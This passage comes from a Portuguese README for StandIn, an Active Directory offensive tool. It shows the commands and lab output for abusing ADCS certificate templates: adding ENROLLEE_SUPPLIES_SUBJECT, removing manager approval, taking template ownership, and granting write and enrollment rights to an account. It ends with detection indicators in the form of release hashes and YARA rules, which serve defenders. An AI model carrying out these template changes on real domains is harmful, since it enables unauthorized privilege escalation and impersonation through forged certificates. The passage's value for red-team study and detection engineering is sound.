[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : 0 |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:50:34 PM
[+] Adding msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT |_ Success
C:>StandIn.exe --adcs --filter WebServer --ess --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:40:08 PM
[+] Removing msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT |_ Success
### PEND_ALL_REQUESTS
#### Caso de Uso
> *Quando a propriedade `msPKI-Enrollment-Flag` do modelo de certificado contém a flag `PEND_ALL_REQUESTS`, todas as solicitações de certificado são colocadas em fila em um estado `pendente` e o `CA Certificate Manager` terá que aprovar essas solicitações. Isso não é desejável do ponto de vista de um atacante. Com as `object permissions` apropriadas, esta função permite que o operador adicione ou remova essa flag do modelo.*
#### Sintaxe
Adicionar/remover a flag `PEND_ALL_REQUESTS` do modelo `WebServer`. Aqui a flag `--filter` deve corresponder exatamente ao nome do modelo.```
C:\>StandIn.exe --adcs --filter WebServer --pend --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : PEND_ALL_REQUESTS
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:54:51 PM
[+] Removing msPKI-Enrollment-Flag : PEND_ALL_REQUESTS
|_ Success
C:\>StandIn.exe --adcs --filter WebServer --pend --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:50:37 PM
[+] Adding msPKI-Enrollment-Flag : PEND_ALL_REQUESTS
|_ Success
Em alguns casos especiais, o operador pode ter permissões
WriteOwnernotemplate object. Quando outros ataques não são possíveis, o operador pode alterar o proprietário do template, o que concederá ao novo proprietário permissõesGenericAllsobre o template. Este ataque não é muito desejável, vejacaveats.
Defina o Owner do template object para REDHOOK\MBWillett. Aqui a flag --filter deve corresponder exatamente ao nome do template.```
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:58:19 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\MBWillett |_ Success
C:>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Owner : REDHOOK\MBWillett |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:05:45 PM
#### Ressalvas
Este ataque vem com algumas restrições extras. Em testes de laboratório, descobri que quando um `user context` tinha o privilégio `WriteOwner`, esse usuário podia `only change the Owner to themselves`, pois qualquer outra identidade de usuário fazia a solicitação falhar. Além disso, uma vez alterado, o proprietário não podia ser revertido ao seu estado antigo, a menos que executado a partir de um contexto `Enterprise Admins`.
Essas restrições tornam este ataque indesejável; ele só deve ser usado se nenhuma outra opção estiver disponível. Para reverter ao antigo `Owner`, o operador pode gerar um certificado para um usuário `Enterprise Admins` e usar isso para alterar o proprietário de volta.```
# WebServer owned by REDHOOK\MBWillett & executing as "REDHOOK\MBWillett"
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\Enterprise Admins" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 4:18:21 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\Enterprise Admins
[!] Failed to modify ADCS permissions..
|_ A constraint violation occurred.
# WebServer owned by REDHOOK\MBWillett & executing in "REDHOOK\Enterprise Admins" context
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\Enterprise Admins" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:05:45 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\Enterprise Admins
|_ Success
Permissões de escrita no modelo podem ser necessárias para realizar alguns dos outros
template attacksdescritos. Com asobject permissionsapropriadas, esta função permite ao operador adicionar ou remover permissõesWriteDacl/WriteOwner/WritePropertyde umaNtAccountnotemplate object.
Adicionar/remover permissões Write sobre o modelo WebServer para REDHOOK\MBWillett. Aqui o sinalizador --filter deve corresponder exatamente ao nome do modelo.```
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --write --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:15:44 PM
[+] Set object access rules
[+] Adding write permissions : REDHOOK\MBWillett |_ Success
C:>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Owner : REDHOOK\Enterprise Admins |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\MBWillett | |_ Type : Allow | |_ Permission : WriteProperty, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:29:36 PM
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --write --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:29:36 PM
[+] Set object access rules
[+] Removing write permissions : REDHOOK\MBWillett |_ Success
### Adicionar Permissão de Certificate-Enrollment
#### Caso de Uso
> *Para poder solicitar `template certificates`, o `requestor` deve ter permissões de `Certificate-Enrollment`. Com as `object permissions` apropriadas, esta função permite ao operador adicionar ou remover permissões de `Certificate-Enrollment` de um `NtAccount` no `template object`.*
#### Sintaxe
Adicionar/remover permissões de `Certificate-Enrollment` no modelo `WebServer` para `REDHOOK\MBWillett`. Aqui a flag `--filter` deve corresponder exatamente ao nome do modelo.```
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --enroll --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:29:57 PM
[+] Set object access rules
[+] Adding Certificate-Enrollment permission : REDHOOK\MBWillett
|_ Success
C:\>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA
|_ DNS Hostname : RH-DC01.redhook.local
|_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local
|_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53
|_ Published Templates : CrossCA
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Schema Version : 1
|_ pKIExpirationPeriod : 2 years
|_ pKIOverlapPeriod : 6 weeks
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Owner : REDHOOK\Enterprise Admins
|_ Permission Identity : REDHOOK\Domain Admins
| |_ Type : Allow
| |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Domain Users
| |_ Type : Allow
| |_ Permission : GenericAll
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Enterprise Admins
| |_ Type : Allow
| |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Domain Admins
| |_ Type : Allow
| |_ Permission : ReadProperty, WriteProperty, ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Permission Identity : REDHOOK\Enterprise Admins
| |_ Type : Allow
| |_ Permission : ReadProperty, WriteProperty, ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Permission Identity : REDHOOK\MBWillett
| |_ Type : Allow
| |_ Permission : ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:38:36 PM
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --enroll --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:38:36 PM
[+] Set object access rules
[+] Removing Certificate-Enrollment permission : REDHOOK\MBWillett
|_ Success
Esta seção descreve uma série de IOCs que podem ajudar no processo de engenharia de detecção para o StandIn.
A tabela a seguir mapeia os hashes dos pacotes de lançamento para o StandIn.``` -=v1.3=- StandIn_Net35.exe SHA256: C2ACD3667483E5AC1E423E482DBA462E96DA3978776BFED07D9B436FEE135AB2 MD5: 5E9364F46723B7DC5FF24DE6E9C69E76
StandIn_Net45.exe SHA256: 2E37A3D2DC2ECB0BD026C93055A71CAB4E568B062B1C9F7B8846E04DF1E9F3E6 MD5: 566FFA0555E81560407B8CE6E458E829
-=v1.2=- StandIn_Net35.exe SHA256: DCCDA4991BEBC5F2399C47C798981E7828ECC2BA77ED52A1D37BD866AD5582AA MD5: D11A8CC4768221CEB5A128A349C5E094
StandIn_Net45.exe SHA256: 24C53132B594B77D2109CAEE3E276EA4603EEF32BFECD5121746DB58258C50F7 MD5: DA2AFD1868FBEB9357C8D0FD62ED97EB
-=v0.8=- StandIn_Net35.exe SHA256: A0B3C96CA89770ED04E37D43188427E0016B42B03C0102216C5F6A785B942BD3 MD5: 8C942EE4553E40A7968FF0C8DC5DB9AB
StandIn_Net45.exe SHA256: F80AEB33FC53F2C8D6313A6B20CD117739A71382C208702B43073D54C9ACA681 MD5: 9E0FC3159A6BF8C3A8A0FAA76F6F74F9
-=v0.7=- StandIn_Net35.exe SHA256: A1ECD50DA8AAE5734A5F5C4A6A951B5F3C99CC4FB939AC60EF5EE19896CA23A0 MD5: 50D29F7597BF83D80418DEEFD360F093
StandIn_Net45.exe SHA256: DBAB7B9CC694FC37354E3A18F9418586172ED6660D8D205EAFFF945525A6A31A MD5: 4E5258A876ABCD2CA2EF80E0D5D93195
#### Yara
As seguintes regras Yara podem ser usadas para detectar o StandIn no disco, em sua forma padrão.```js
rule StandIn
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Detect StandIn string constants."
strings:
$s1 = "StandIn" ascii wide nocase
$s2 = "(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" ascii wide nocase
$s3 = "msDS-AllowedToActOnBehalfOfOtherIdentity" ascii wide nocase
$s4 = ">--~~--> Args? <--~~--<" ascii wide nocase
condition:
all of ($s*)
}
rule StandIn_PDB
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Detect StandIn default PDB."
strings:
$s1 = "\\Release\\StandIn.pdb" ascii wide nocase
condition:
all of ($s*)
}
A regra Yara abaixo pode ser usada para detectar o StandIn quando a execução ocorre a partir da memória. Para usar esta regra, a solução de EDR exigirá acesso ao provedor de dados ETW Microsoft-Windows-DotNETRuntime. Para fins de teste, esta regra pode ser avaliada diretamente usando SilkETW. Deve-se notar que esta é uma regra de exemplo genérica, alertas em produção exigiriam uma abordagem mais granular.```js
rule Silk_StandIn_Generic
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Generic Microsoft-Windows-DotNETRuntime detection for StandIn."
strings:
$s1 = "\\r\\nFullyQualifiedAssemblyName=0;\\r\\nClrInstanceID=StandIn" ascii wide nocase
$s2 = "MethodFlags=Jitted;\\r\\nMethodNamespace=StandIn." ascii wide nocase
condition:
any of them
}

## Agradecimentos Especiais
Quero agradecer rapidamente às pessoas que contribuíram com código e/ou correções de bugs para o `StandIn`.
[@G0ldenGunSec](https://twitter.com/G0ldenGunSec), [@matterpreter](https://twitter.com/matterpreter), [guervild](https://github.com/guervild)